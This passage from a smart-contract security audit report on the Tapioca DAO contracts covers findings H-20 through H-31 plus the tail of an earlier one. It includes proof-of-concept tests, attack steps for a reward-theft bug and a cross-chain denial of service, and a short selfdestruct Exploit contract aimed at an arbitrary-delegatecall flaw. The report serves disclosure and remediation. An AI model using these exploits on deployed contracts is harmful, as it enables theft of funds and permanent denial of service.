twTAPcontract receives the cross chain message and mint atwTAPwithtokenId1to attacker as it does not exist on host chain yet. (Note this cross-chain transfer is part of Layer Zero ONFT71 mechanism) - Now on the host chain, we have a
twTAPwithtokenId1butmintedTwTapis still0. That means when users try toparticipate()on the host chain, it will try to mint atwTAPwithtokenId1, and that will fail as it now exists on the host chain. At this pointparticipate()will be permanently DoS, affecting governance and causing loss of rewards. - Note that the attacker can then transfer the
twTAPback to the source chain and exit position to retrieve the lockedTAPtoken. However, the host chain still remain frozen as the owner oftokenId1will now betwTAPcontract itself after the cross chain transfer.
Note that the attack is still possible even when mintedTwTap > 0 on host chain as attacker just have to repeatly mint on the non-host chain till it obtain the required tokenId.
Recommended Mitigation Steps
Add in access control to prevent host-chain-only operations such as participate() from being executed on other chains .
[H-20] _liquidateUser() should not re-use the same minimum swap amount out for multiple liquidation
Submitted by peakbolt, also found by carrotsmuggler, Nyx, n1punp, Ack, and rvierdiiev
Vulnerability details
In Singularity and BigBang, the minAssetAmount in _liquidateUser() is provided by the liquidator as a slippage protection to ensure that the swap provides the specified amountOut. However, the same value is utilized even when liquidate() is used to liquidate multiple borrowers.
function _liquidateUser(
...
uint256 minAssetAmount = 0;
if (dexData.length > 0) {
//@audit the same minAssetAmount is incorrectly applied to all liquidations
minAssetAmount = abi.decode(dexData, (uint256));
}
ISwapper.SwapData memory swapData = swapper.buildSwapData(
collateralId,
assetId,
0,
collateralShare,
true,
true
);
swapper.swap(swapData, minAssetAmount, address(this), "");
Impact
Using the same minAssetAmount (minimum amountOut for swap) for the liquidation of multiple borrowers will result in inaccurate slippage protection and transaction failure.
If minAssetAmount is too low, there will be insufficient slippage protection and the the liquidator and protocol could be short changed with a worse than expected swap.
If minAssetAmount is too high, the liquidation will fail as the swap will not be successful.
Proof of Concept
First scenario
- Liquidator liquidates two loans X & Y using
liquidate(), and set theminAssetAmountto be 1000 USDO. - Loan X liquidated collateral is worth 1000 USDO and the swap is completely successful with zero slippage.
- However, Loan Y liquidated collateral is worth 5000 USDO, but due to low liquidity in the swap pool, it was swapped at 1000 USDO (
minAssetAmount).
The result is that the liquidator will receive a fraction of the expected reward and the protocol gets repaid at 1/5 of the price, suffering a loss from the swap.
Second scenario
- Liquidator liquidates two loans X & Y using
liquidate(), and set theminAssetAmountto be 1000 USDO. - Loan X liquidated collateral is worth 1000 USDO and the swap is completely successful with zero slippage.
- we suppose Loan Y’s liquidated collateral is worth 300 USDO.
Now the minAssetAmount of 1000 USDO will be higher than the collateral, which is unlikely to be completed as it is higher than market price. That will revert the entire liquidate(), causing the liquidation of Loan X to fail as well.
Recommended Mitigation Steps
Update liquidate() to allow liquidator to pass in an array of minAssetAmount values that corresponding to the liquidated borrower.
An alternative, is to pass in the minimum expected price of the collateral and use that to compute the minAssetAmount.
0xRektora (Tapioca) confirmed via duplicate issue 122
[H-21] Incorrect liquidation reward computation causes excess liquidator rewards to be given
Submitted by peakbolt, also found by minhtrng, bin2chen, carrotsmuggler, 0x007, and 0xRobocop (1, 2)
In _liquidateUser() for BigBang and Singularity, the liquidator reward is derived by _getCallerReward(). However, it is incorrectly computed using userBorrowPart[user], which is the portion of borrowed amount that does not include the accumulated fees (interests).
uint256 callerReward = _getCallerReward(
//@audit - userBorrowPart[user] is incorrect as it does not include accumulated fees
userBorrowPart[user],
startTVLInAsset,
maxTVLInAsset
);
Using only userBorrowPart[user] is inconsistent with liquidation calculation in Market.sol#L423-L424, which is based on borrowed amount including accumulated fees.
function _isSolvent(
address user,
uint256 _exchangeRate
) internal view returns (bool) {
...
return
yieldBox.toAmount(
collateralId,
collateralShare *
(EXCHANGE_RATE_PRECISION / FEE_PRECISION) *
collateralizationRate,
false
) >=
//@audit - note that the collateralizion calculation is based on borrowed amount with fees (using totalBorrow.elastic)
// Moved exchangeRate here instead of dividing the other side to preserve more precision
(borrowPart * _totalBorrow.elastic * _exchangeRate) /
_totalBorrow.base;
}
As the protocol uses a dynamic liquidation incentives mechanism (see below), the liquidator will be given more rewards than required if the liquidator reward is derived by borrowed amount without accumulated fees. That is because the dynamic liquidation incentives mechanism decreases the rewards as it reaches 100% LTV. So computing the liquidator rewards using a lower value (without fees) actually gives liquidator a higher portion of the rewards.
function _getCallerReward(
uint256 borrowed,
uint256 startTVLInAsset,
uint256 maxTVLInAsset
) internal view returns (uint256) {
if (borrowed == 0) return 0;
if (startTVLInAsset == 0) return 0;
if (borrowed < startTVLInAsset) return 0;
if (borrowed >= maxTVLInAsset) return minLiquidatorReward;
uint256 rewardPercentage = ((borrowed - startTVLInAsset) *
FEE_PRECISION) / (maxTVLInAsset - startTVLInAsset);
int256 diff = int256(minLiquidatorReward) - int256(maxLiquidatorReward);
int256 reward = (diff * int256(rewardPercentage)) /
int256(FEE_PRECISION) +
int256(maxLiquidatorReward);
return uint256(reward);
}
Impact
The protocol is shortchanged as it gives liquidator more rewards than required.
Proof of Concept
- Add the following console.log to BigBang.sol#L581`
console.log(" callerReward (without fees) = \t %d (actual)", callerReward);
callerReward= _getCallerReward(
//userBorrowPart[user],
//@audit borrowed amount with fees
(userBorrowPart[user] * totalBorrow.elastic) / totalBorrow.base,
startTVLInAsset,
maxTVLInAsset
);
console.log(" callerReward (with fees) = \t %d (expected)", callerReward);
- Add and run the following test in
bigBang.test.ts. The console.log will show that the expected liquidator reward is lower when computed using borrowed amount with fees.
it.only('peakbolt - liquidation reward computation', async () => {
const {
wethBigBangMarket,
weth,
wethAssetId,
yieldBox,
deployer,
eoa1,
__wethUsdcPrice,
__usd0WethPrice,
multiSwapper,
usd0WethOracle,
timeTravel,
} = await loadFixture(register);
await weth.approve(yieldBox.address, ethers.constants.MaxUint256);
await yieldBox.setApprovalForAll(wethBigBangMarket.address, true);
await weth
.connect(eoa1)
.approve(yieldBox.address, ethers.constants.MaxUint256);
await yieldBox
.connect(eoa1)
.setApprovalForAll(wethBigBangMarket.address, true);
const wethMintVal = ethers.BigNumber.from((1e18).toString()).mul(
10,
);
await weth.connect(eoa1).freeMint(wethMintVal);
const valShare = await yieldBox.toShare(
wethAssetId,
wethMintVal,
false,
);
await yieldBox
.connect(eoa1)
.depositAsset(
wethAssetId,
eoa1.address,
eoa1.address,
0,
valShare,
);
console.log("wethMintVal = %d", wethMintVal);
console.log("__wethUsdcPrice = %d", __wethUsdcPrice);
console.log("--------------------- addCollateral ------------------------");
await wethBigBangMarket
.connect(eoa1)
.addCollateral(eoa1.address, eoa1.address, false, 0, valShare);
//borrow
const usdoBorrowVal = wethMintVal
.mul(74)
.div(100)
.mul(__wethUsdcPrice.div((1e18).toString()));
console.log("--------------------- borrow ------------------------");
await wethBigBangMarket
.connect(eoa1)
.borrow(eoa1.address, eoa1.address, usdoBorrowVal);
// Can't liquidate
const swapData = new ethers.utils.AbiCoder().encode(
['uint256'],
[1],
);
timeTravel(100 * 86400);
console.log("--------------------- price drop ------------------------");
const priceDrop = __usd0WethPrice.mul(15).div(10).div(100);
await usd0WethOracle.set(__usd0WethPrice.add(priceDrop));
await wethBigBangMarket.updateExchangeRate();
const borrowPart = await wethBigBangMarket.userBorrowPart(
eoa1.address,
);
console.log("--------------------- liquidate (success) ------------------------");
await expect(
wethBigBangMarket.liquidate(
[eoa1.address],
[borrowPart],
multiSwapper.address,
swapData,
),
).to.not.be.reverted;
return;
});
Recommended Mitigation Steps
Change BigBang.sol#L576-L580, SGLLiquidation.sol#L310-L314, Market.sol#L364 from
uint256 callerReward = _getCallerReward(
userBorrowPart[user],
startTVLInAsset,
maxTVLInAsset
);
to
uint256 callerReward = _getCallerReward(
(userBorrowPart[user] * totalBorrow.elastic) / totalBorrow.base,
startTVLInAsset,
maxTVLInAsset
);
0xRektora (Tapioca) confirmed via duplicate issue 89
[H-22] Lack of safety buffer between liquidation threshold and LTV ratio for borrowers to prevent unfair liquidations
Submitted by peakbolt
In BigBang and Singularity, there is no safety buffer between liquidation threshold and LTV ratio, to protects borrowers from being immediately liquidated due to minor market movement when the loan is taked out at max LTV.
The safety buffer also ensure that the loans can be returned to a healthy state after the first liquidation. Otherwise, the loan can be liquidated repeatly as it will remain undercollateralized after the first liquidation.
Detailed Explanation
The collateralizationRate determines the LTV ratio for the max amount of assets that can be borrowed with the specific collateral. This check is implemented in _isSolvent() as shown below.
function _isSolvent(
address user,
uint256 _exchangeRate
) internal view returns (bool) {
// accrue must have already been called!
uint256 borrowPart = userBorrowPart[user];
if (borrowPart == 0) return true;
uint256 collateralShare = userCollateralShare[user];
if (collateralShare == 0) return false;
Rebase memory _totalBorrow = totalBorrow;
return
yieldBox.toAmount(
collateralId,
collateralShare *
(EXCHANGE_RATE_PRECISION / FEE_PRECISION) *
collateralizationRate,
false
) >=
// Moved exchangeRate here instead of dividing the other side to preserve more precision
(borrowPart * _totalBorrow.elastic * _exchangeRate) /
_totalBorrow.base;
}
However, the liquidation start threshold, which is supposed to be higher (e.g. 80%) than LTV ratio (e.g. 75%), is actually using the same collateralizationRate value. We can see that computeClosingFactor() allow liquidation to start when the loan is at max LTV.
uint256 liquidationStartsAt = (collateralPartInAssetScaled *
collateralizationRate) / (10 ** ratesPrecision);
Impact
Borrowers can be unfairly liquidated and penalized due to minor market movement when taking loan at max LTV. Also loan can be repeatedly liquidated regardless of closing factor as it does not return to healthy state after the first liquidation.
Proof of Concept
Consider the following scenario,
- Borrower take out loan at max LTV (75%).
- Immediately after the loan is taken out, the collateral value dropped slightly due to minor market movement and the loan is now at 75.000001% LTV.
- However, as the liquidation start threshold begins to at 75% LTV, bots start to liquidate the loan, before the borrower could react and repay the loan.
- The liquidation will cause the loan to remain undercollateralized despite the closing factor.
- As the loan is still unhealthy, the bots will then be able to repeatly liquidate the loan.
- Borrower is unfairly penalized and suffers losses due to the liquidations.
Recommended Mitigation Steps
Implement the liquidation threshold as a separate state variable and ensure it is higher than LTV to provide a safety buffer for borrowers.
cryptotechmaker (Tapioca) confirmed and commented:
The user is not liquidated for his entire position but only for the amount necessary for the loan to become solvent again.
Loaning up to the collateralization rate threshold is up to the user and opening such an edging position comes with some risks that the user should be aware of.
However, adding the buffer seems fair. It can remain as a ‘High’.
[H-23] Refund mechanism for failed cross-chain transactions does not work
Submitted by peakbolt, also found by Kaysoft, windhustler, carrotsmuggler (1, 2), xuwinnie, and cergyk
There is a refund mechanism in USDO and TOFT modules that will return funds when the execution on the destination chain fails.
It happens when module.delegatecall() fails, where the following code (see below) will trigger a refund of the bridged fund to the user. After that a revert is then ‘forwarded’ to the main executor contract (BaseUSDO or BaseTOFT).
However, the issue is that the revert will also reverse the refund even when the revert is forwarded.
if (!success) {
if (balanceAfter - balanceBefore >= amount) {
IERC20(address(this)).safeTransfer(leverageFor, amount);
}
//@audit - this revert will actually reverse the refund before this
revert(_getRevertMsg(reason)); //forward revert because it's handled by the main executor
}
Although the main executor contract will _storeFailedMessage() to allow users to retryMessage() and re-execute the failed transaction, it will not go through if the error is permanent. That means the retryMessage() will also revert and there is no way to recover the funds.
Impact
User will lose their bridged fund if the cross chain execution encounters a permanent error, which will permanently lock up the bridged funds in the contract as there is no way to recover it.
Proof of Concept
- Add a
revert()inleverageUpInternal()withinUSDOLeverageModule.sol#L197as follows, to simulate a permanent failure for the remote execution at destination chain.
function leverageUpInternal(
uint256 amount,
IUSDOBase.ILeverageSwapData memory swapData,
IUSDOBase.ILeverageExternalContractsData memory externalData,
IUSDOBase.ILeverageLZData memory lzData,
address leverageFor
) public payable {
//@audit - to simulate a permanent failure for this remote execution (e.g. issue with swap)
revert();
...
}
- Add the following
console.logto singularity.test.ts#L4113
console.log("USDO_10 balance for deployer.address (expected to be equal to 10000000000000000000) : ", await USDO_10.balanceOf(deployer.address));
- Run the test case
'should bounce between 2 chains'under'multiHopBuyCollateral()'tests insingularity.test.ts. It will show that thedeployer.addressfails to receive the refund amount.
Recommended Mitigation Steps
Implement a ‘pull’ mechanism for users to withdraw the refund instead of ‘pushing’ to the user.
That can be done by using a a new state variable within USDO and TOFT to store the refund amount for the transaction with the corresponding payloadHash for failedMessages mapping.
Checks must be implemented to ensure that if user withdraws the refund, the corresponding failedMessages entry is cleared so that the user cannot retry the transaction again.
Similarly, if retryMessage() is used to re-execute the transaction successfully, the refund amount in the new state variable should be cleared.
0xRektora (Tapioca) confirmed via duplicate issue #1410
[H-24] Incorrect formula used in function Market.computeClosingFactor()
Submitted by KIntern_NA, also found by carrotsmuggler and 0xRobocop
Incorrect amount of assets that will be liquidated
Proof of Concept
Function BigBang._liquidateUser() is used to liquidate an under-collateralization position in the market. This function calls BigBang._updateBorrowAndCollateralShare() to calculate the amount of borrowPart and collateralShare that will be removed from the user’s position and update the storage.
The amount of borrowPart to be removed can be calculated using the function Market.computeClosingFactor(). This amount will then be converted to borrowAmount, which is the corresponding elastic amount, and be used to determine the amount of collateralShare that needs to be removed.
However, the returned value from Market.computeClosingFactor() is incorrect, which leads to the wrong update for the user’s position.
To prove the statement above, let’s denote:
x: The elastic amount that will be removed to execute the liquidation.userElasticanduserElastic': The elastic amount corresponding touserBorrowPart[user]before and after the liquidation.collateralShareandcollateralShare': The value ofuserCollateralShare[user]before and after the liquidation.-
Following the implementation of
yieldBox.toAmount()andyieldBox.toShare(), in one transaction we can denote that:yieldBox.toAmount(): A multiplication expression with a constantC.yieldBox.toShare(): A division expression with constantC.
Following the update of these variables depicted in the function BigBang._updateBorrowAndCollateralShare(), we have:
- $userElastic' = userElastic - x$
- $collateralShare' = collateralShare - \frac{x \times (1+liquidationMultiplier)*\frac{exchangeRate}{10^{18}}}{C}$
After the liquidation, the function Market._isSolvent(user) must return true. In other words, at least the following equation should hold:
- $C \times (collateralShare' \times \frac{collateralRate}{10^5} \times \frac{10^{18}}{exchangeRate}) = userElastic'$
Solving the equation, we get:
- $C \times (collateralShare' \times \frac{collateralRate}{10^5} \times \frac{10^{18}}{exchangeRate}) = userElastic'$
- $C \times collateralShare \times \frac{collateralRate}{10^5} \times \frac{10^{18}}{exchangeRate} - x \times (1 + \frac{liquidationMultiplier}{10^5}) \times \frac{collateralizationRate}{10^5} = userElastic - x$
- $x = \frac{userElastic - C \times collateralShare \times \frac{collateralRate}{10^5} \times \frac{10^{18}}{exchangeRate}}{1 - (1 + \frac{liquidationMultiplier}{10^5}) * \frac{collateralizationRate}{10^5}}$
So, the returned value of the function Market.computeClosingFactor() should be the corresponding base amount of x (totalBorrow.toBase(x, false)).
Comparing it to the current implementation of computeClosingFactor(), we can see the issues are:
- The implementation uses the
borrowPartin the numerator instead of the corresponding elastic amount ofborrowPart. - The multiplication with
borrowPartDecimalsandcollateralPartDecimalsdoesn’t make sense since these decimals can be different and may cause the numerator to underflow.
Recommended Mitigation Steps
Correct the formula of function computeClosingFactor() following the section “Proof of Concept”.
cryptotechmaker (Tapioca) confirmed
[H-25] Overflow risk in Market contract
Submitted by KIntern_NA
Actions of users (borrow, repay, removeCollateral, …) in Martket contract might be reverted by overflow, resulting in their funds might be frozen.
Proof of concept
Function _isSolvent in Market contract use conversion from share to amount of yieldBox.
yieldBox.toAmount(
collateralId,
collateralShare *
(EXCHANGE_RATE_PRECISION / FEE_PRECISION) *
collateralizationRate,
false
)
It will trigger _toAmount function in YieldBoxRebase contract
function _toAmount(
uint256 share,
uint256 totalShares_,
uint256 totalAmount,
bool roundUp
) internal pure returns (uint256 amount) {
totalAmount++;
totalShares_ += 1e8;
amount = (share * totalAmount) / totalShares_;
if (roundUp && (amount * totalShares_) / totalAmount < share) {
amount++;
}
}
The calculation amount = (share * totalAmount) / totalShares_ might be overflow because
share * totalAmount = collateralShare * (EXCHANGE_RATE_PRECISION / FEE_PRECISION) * collateralizationRate * totalAmount
In the default condition,
EXCHANGE_RATE_PRECISION = 1e18,
FEE_PRECISION = 1e5,
collateralizationRate = 0.75e18
The collateralShare is equal to around 1e8 * collateralAmount by default (because totalAmount++; totalShares_ += 1e8; is present in the _toAmount function).
=> share * totalAmount ~= (collateralAmount * 1e8) * (1e18 / 1e5) * 0.75e18 * totalAmount = collateralAmount * totalAmount * 0.75e39
This formula will overflow when collateralAmount * totalAmount > 1.5e38. This situation can occur easily with 18-decimal collateral. As a consequence, user transactions will revert due to overflow, resulting in the freezing of market functionalities.
The same issue applies to the calculation of _computeMaxBorrowableAmount in the Market contract.
Recommended Mitigation Steps
Reduce some variables used to trigger yieldBox.toAmount(), such as EXCHANGE_RATE_PRECISION and collateralizationRate, and use these variables to calculate with the obtained amount.
Example, the expected amount can be calculated as:
yieldBox.toAmount(
collateralId,
collateralShare
false
) * (EXCHANGE_RATE_PRECISION / FEE_PRECISION) * collateralizationRate
[H-26] Not enough TAP tokens to exercise if a user participates and exercises in the same epoch
Submitted by KIntern_NA
Users were unable to purchase their deserved amount of TAPs
Proof of Concept
During each epoch and for a specific sglAssetID, there is a fixed amount of TAP tokens that will be minted and stored in the STORAGE mapping singularityGauges[epoch][sglAssetID]. Users have the option to purchase these TAP tokens by first calling the function TapiocaOptionBroker.participate() and then executing TapiocaOptionBroker.exerciseOption() before the position expires to buy TAPs at a discounted price. The amount of TAP tokens that a user can purchase with each position can be calculated using the formula:
eligibleTapAmount = position.amount * gaugeTotalForEpoch / totalPoolDeposited
- position.amount: The locked amount of the position in `sglAssetId`.
- gaugeTotalForEpoch: The total number of TAP tokens that can be minted for the `(epoch, sglAssetId)`.
- totalPoolDeposited: The total locked amount of all positions in `sglAssetId`.
The flaw arises when a user who participates in sglAssetId in the current epoch can immediately call exerciseOption() to purchase the TAP tokens. This results in a situation where the participants cannot exercise their expected TAP tokens.
For example:
- Both Alice and Bob participate in the broker with
position.amount = 1. - The amount of TAP tokens allocated for the current epoch is
gaugeTotalForEpoch = 60. - Alice calls
exerciseOption()to buyeligibleAmount = 1 * 60 / 2 = 30TAPs. - In the same epoch, Candice participates in the broker with
position.amount = 1and immediately callsexerciseOption(). She will buyeligibleAmount = 1 * 60 / 3 = 20TAPs. - When Bob calls
exerciseOption, he can buyeligibleAmount = 1 * 60 / 3 = 20TAPs, but this cannot happen since if Bob decides to buy 20 TAPs, the total minted amount of TAPs will exceedgaugeTotalForEpoch(30 + 20 + 20 = 70 > 60), resulting in a revert.
Recommended Mitigation Steps
Consider developing a technique similar to the one implemented in twTAP.sol for storing the netAmounts. When a user participates in the broker, perform the following actions:
netAmounts[block.timestamp+1] += lock.amountnetAmounts[lockTime+lockDuration] += lock.amount
[H-27] Attacker can pass duplicated reward token addresses to steal the reward of contract twTAP.sol
Submitted by KIntern_NA, also found by bin2chen and glcanvas
The attacker can exploit the contract twTAP.sol to steal rewards.
Proof of Concept
The function twTAP.claimAndSendRewards() -> twTAP._claimRewardsOn() is intended for users who utilize the cross-chain message of BaseTOFT.sol to claim a specific set of reward tokens.
function _claimRewardsOn(
uint256 _tokenId,
address _to,
IERC20[] memory _rewardTokens
) internal {
uint256[] memory amounts = claimable(_tokenId);
unchecked {
uint256 len = _rewardTokens.length;
for (uint256 i = 0; i < len; ) {
uint256 claimableIndex = rewardTokenIndex[_rewardTokens[i]];
uint256 amount = amounts[i];
if (amount > 0) {
// Math is safe: `amount` calculated safely in `claimable()`
claimed[_tokenId][claimableIndex] += amount;
rewardTokens[claimableIndex].safeTransfer(_to, amount);
}
++i;
}
}
}
The internal function iterates through the list of reward tokens specified by the user after calculating the claimable amount for each token in the STORAGE array twTAP.rewardTokens[]. Unfortunately, there is no check if the _rewardTokens contain duplicated reward tokens, and the function claimable(_tokenId) is not called after each iteration, which allows the attacker to manipulate the function call using the same reward address repeatedly.
For example,
- STORAGE array
rewardTokens[] = [usdc, usdt] - The function
_claimRewardsOn()is called with_rewardTokens[] = [usdt, usdt]. In each iteration, theclaimableIndexwill berewardTokenIndex[usdc] = 0, which transfers the usdt two times to the attacker.
Recommended Mitigation Steps
One solution to mitigate this issue is to require the MEMORY array _rewardTokens to be sorted in ascending order.
function _claimRewardsOn(
uint256 _tokenId,
address _to,
IERC20[] memory _rewardTokens
) internal {
uint256[] memory amounts = claimable(_tokenId);
unchecked {
uint256 len = _rewardTokens.length;
for (uint256 i = 0; i < len; ) {
// CHANGE HERE
if (i != 0) {
require(_rewardTokens[i] > _rewardTokens[i-1]);
}
uint256 claimableIndex = rewardTokenIndex[_rewardTokens[i]];
uint256 amount = amounts[i];
if (amount > 0) {
// Math is safe: `amount` calculated safely in `claimable()`
claimed[_tokenId][claimableIndex] += amount;
rewardTokens[claimableIndex].safeTransfer(_to, amount);
}
++i;
}
}
}
By ensuring that the reward tokens are sorted in ascending order, we can prevent the exploit where the attacker claims the same reward token multiple times and effectively mitigate the vulnerability.
0xRektora (Tapioca) confirmed via duplicate issue 1304
[H-28] TOFT and USDO Modules Can Be Selfdestructed
Submitted by Ack, also found by BPZ, Breeje, ladboy233, offside0011, Kaysoft, 0x73696d616f, 0xrugpull_detector, carrotsmuggler, CrypticShepherd, ACai, kodyvim, and cergyk
All TOFT and USDO modules have public functions that allow an attacker to supply an address module that is later used as a destination for a delegatecall. This can point to an attacker-controlled contract that is used to selfdestruct the module.
// USDOLeverageModule:leverageUp
function leverageUp(
address module,
uint16 _srcChainId,
bytes memory _srcAddress,
uint64 _nonce,
bytes memory _payload
) public {
// .. snip ..
(bool success, bytes memory reason) = module.delegatecall( //@audit-issue arbitrary destination delegatecall
abi.encodeWithSelector(
this.leverageUpInternal.selector,
amount,
swapData,
externalData,
lzData,
leverageFor
)
);
if (!success) {
if (balanceAfter - balanceBefore >= amount) {
IERC20(address(this)).safeTransfer(leverageFor, amount);
}
revert(_getRevertMsg(reason)); //forward revert because it's handled by the main executor
}
// .. snip ..
}
Impact
Both BaseTOFT and BaseUSDO initialize the module addresses to state variables in the constructor. Because there are no setter functions to adjust these variables post-deployment, the modules are permanently locked to the addresses specified in the constructor. If those addresses are selfdestructed, the modules are rendered unusable and all calls to these modules will revert. This cannot be repaired.
// BaseUSDO.sol:constructor
constructor(
address _lzEndpoint,
IYieldBoxBase _yieldBox,
address _owner,
address payable _leverageModule,
address payable _marketModule,
address payable _optionsModule
) BaseUSDOStorage(_lzEndpoint, _yieldBox) ERC20Permit("USDO") {
leverageModule = USDOLeverageModule(_leverageModule);
marketModule = USDOMarketModule(_marketModule);
optionsModule = USDOOptionsModule(_optionsModule);
transferOwnership(_owner);
}
Proof of Concept
Attacker can deploy the Exploit contract below, and then call each of the vulnerable functions with the address of the Exploit contract as the module parameter. This will cause the module to selfdestruct, rendering it unusable.
pragma solidity ^0.8.18;
contract Exploit {
address payable constant attacker = payable(address(0xbadbabe));
fallback() external payable {
selfdestruct(attacker);
}
}
Recommended Mitigation Steps
The module parameter should be removed from the calldata in each of the vulnerable functions. Since the context of the call into these functions are designed to be delegatecalls and the storage layouts of the modules and the Base contracts are the same, the module address can be retreived from storage instead. This will prevent attackers from supplying arbitrary addresses as delegatecall destinations.
0xRektora (Tapioca) confirmed via duplicate issue 146
[H-29] Exercise option cross chain message in the (m)TapiocaOFT will always revert in the destination, losing debited funds in the source chain
Submitted by 0x73696d616f, also found by KIntern_NA and bin2chen
Exercise option cross chain message in the (m)TapiocaOFT will always revert in the destination, but works in the source chain, where it debits the funds from users. Thus, these funds will not be credited in the destination and are forever lost.
Proof of Concept
In the BaseTOFT, if the packet from the received cross chain message in lzReceive() is of type PT_TAP_EXERCISE, it delegate calls to the BaseTOFTOptionsModule:
function _nonblockingLzReceive(
uint16 _srcChainId,
bytes memory _srcAddress,
uint64 _nonce,
bytes memory _payload
) internal virtual override {
uint256 packetType = _payload.toUint256(0);
...
} else if (packetType == PT_TAP_EXERCISE) {
_executeOnDestination(
Module.Options,
abi.encodeWithSelector(
BaseTOFTOptionsModule.exercise.selector,
_srcChainId,
_srcAddress,
_nonce,
_payload
),
_srcChainId,
_srcAddress,
_nonce,
_payload
);
...
In the BaseTOFTOptionsModule, the exercise() function is declared as:
function exercise(
address module,
uint16 _srcChainId,
bytes memory _srcAddress,
uint64 _nonce,
bytes memory _payload
) public {
...
}
Notice that the address module argument is specified in the exercise() function declaration, but not in the _nonBlockingLzReceive() call to it. This will make the message always revert because it fails when decoding the arguments to the function call, due to the extra address module argument.
The following POC illustrates this behaviour. The exerciseOption() cross chain message fails on the destination:
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.18;
import {Test, console} from "forge-std/Test.sol";
import {TapiocaOFT} from "contracts/tOFT/TapiocaOFT.sol";
import {BaseTOFTOptionsModule} from "contracts/tOFT/modules/BaseTOFTOptionsModule.sol";
import {IYieldBoxBase} from "tapioca-periph/contracts/interfaces/IYieldBoxBase.sol";
import {ISendFrom} from "tapioca-periph/contracts/interfaces/ISendFrom.sol";
import {ICommonData} from "tapioca-periph/contracts/interfaces/ICommonData.sol";
import {ITapiocaOptionsBrokerCrossChain} from "tapioca-periph/contracts/interfaces/ITapiocaOptionsBroker.sol";
contract TapiocaOFTPOC is Test {
address public constant LZ_ENDPOINT = 0x66A71Dcef29A0fFBDBE3c6a460a3B5BC225Cd675;
uint16 internal constant PT_TAP_EXERCISE = 777;
event MessageFailed(uint16 _srcChainId, bytes _srcAddress, uint64 _nonce, bytes _payload, bytes _reason);
function test_POC_ExerciseWrongArguments() public {
vm.createSelectFork("https://eth.llamarpc.com");
address optionsModule_ = address(new BaseTOFTOptionsModule(address(LZ_ENDPOINT), address(0), IYieldBoxBase(address(2)), "SomeName", "SomeSymbol", 18, block.chainid));
TapiocaOFT tapiocaOft_ = new TapiocaOFT(
LZ_ENDPOINT,
address(0),
IYieldBoxBase(address(3)),
"SomeName",
"SomeSymbol",
18,
block.chainid,
payable(address(1)),
payable(address(2)),
payable(address(3)),
payable(optionsModule_)
);
address user_ = makeAddr("user");
deal(user_, 2 ether);
vm.prank(user_);
tapiocaOft_.wrap{value: 1 ether}(user_, user_, 1 ether);
ITapiocaOptionsBrokerCrossChain.IExerciseOptionsData memory optionsData_;
ITapiocaOptionsBrokerCrossChain.IExerciseLZData memory lzData_;
ITapiocaOptionsBrokerCrossChain.IExerciseLZSendTapData memory tapSendData_;
ICommonData.IApproval[] memory approvals_;
optionsData_.from = user_;
optionsData_.target = user_;
optionsData_.paymentTokenAmount = 1 ether;
optionsData_.oTAPTokenID = 1;
optionsData_.paymentToken = address(0);
optionsData_.tapAmount = 1 ether;
lzData_.lzDstChainId = 102;
lzData_.zroPaymentAddress = address(0);
lzData_.extraGas = 200_000;
tapSendData_.withdrawOnAnotherChain = false;
tapSendData_.tapOftAddress = address(0);
tapSendData_.lzDstChainId = 102;
tapSendData_.amount = 0;
tapSendData_.zroPaymentAddress = address(0);
tapSendData_.extraGas = 0;
tapiocaOft_.setTrustedRemoteAddress(102, abi.encodePacked(tapiocaOft_));
vm.prank(user_);
tapiocaOft_.exerciseOption{value: 1 ether}(
optionsData_,
lzData_,
tapSendData_,
approvals_
);
bytes memory lzPayload_ = abi.encode(
PT_TAP_EXERCISE,
optionsData_,
tapSendData_,
approvals_
);
vm.prank(LZ_ENDPOINT);
vm.expectEmit(true, true, true, true, address(tapiocaOft_));
emit MessageFailed(102, abi.encodePacked(tapiocaOft_, tapiocaOft_), 0, lzPayload_, vm.parseBytes("0x4e487b710000000000000000000000000000000000000000000000000000000000000041"));
tapiocaOft_.lzReceive(102, abi.encodePacked(tapiocaOft_, tapiocaOft_), 0, lzPayload_);
}
}
Tools Used
Vscode, Foundry
Recommended Mitigation Steps
Adding the extra module parameter when encoding the function call in _nonBlockingLzReceive() would be vulnerable to someone calling the BaseTOFTOptionsModule directly on function exercise() with a malicious module argument. It’s safer to remove the module argument and call exerciseInternal() directly, which should work since it’s a public function.
function _nonblockingLzReceive(
uint16 _srcChainId,
bytes memory _srcAddress,
uint64 _nonce,
bytes memory _payload
) internal virtual override {
uint256 packetType = _payload.toUint256(0);
...
} else if (packetType == PT_TAP_EXERCISE) {
_executeOnDestination(
Module.Options,
abi.encodeWithSelector(
BaseTOFTOptionsModule.exercise.selector,
address(optionsModule), // here
_srcChainId,
_srcAddress,
_nonce,
_payload
),
_srcChainId,
_srcAddress,
_nonce,
_payload
);
...
[H-30] utilization for _getInterestRate() does not factor in interest
Submitted by ItsNio, also found by ItsNio and SaeedAlipoor01988
The calculation for utilization in _getInterestRate() does not factor in the accrued interest. This leads to _accrueInfo.interestPerSecond being under-represented, and leading to incorrect interest rate calculation and potentially endangering conditions such as utilization > maximumTargetUtilization on line 124.
Proof of Concept
The calculation for utilization in the _getInterestRate() function for SGLCommon.sol occurs on lines 61-64 as a portion of the fullAssetAmount (which is also problematic) and the _totalBorrow.elastic. However, _totalBorrow.elastic is accrued by interest on line 99. This accrued amount is not factored into the calculation for utilization, which will be used to update the new interest rate, as purposed by the comment on line 111.
Recommended Mitigation Steps
Factor in the interest accrual into the utilization calculation:
...
// Accrue interest
extraAmount =
(uint256(_totalBorrow.elastic) *
_accrueInfo.interestPerSecond *
elapsedTime) /
1e18;
_totalBorrow.elastic += uint128(extraAmount);
+ uint256 fullAssetAmount = yieldBox.toAmount(
+ assetId,
+ _totalAsset.elastic,
+ false
+ ) + _totalBorrow.elastic;
//@audit utilization factors in accrual
+ utilization = fullAssetAmount == 0
+ ? 0
+ : (uint256(_totalBorrow.elastic) * UTILIZATION_PRECISION) /
+ fullAssetAmount;
...
[H-31] Collateral can be locked in BigBang contract when debtStartPoint is nonzero
Submitted by zzzitron, also found by minhtrng, RedOneN, kutugu, bin2chen, 0xSky, 0xrugpull_detector, mojito_auditor, plainshift, KIntern_NA, carrotsmuggler, zzebra83, 0xRobocop, and chaduke
Following conditions have to be met for this issue to happen:
- This issue occurs when the BigBang market is not an ETH market.
Penrose.registerBigBang()being called withdataparam wheredata.debtStartPointis nonzero.- The first borrower borrows using
BigBang.borrow(), with function paramamount(borrow amount) has to be less thandebtStartPoint.
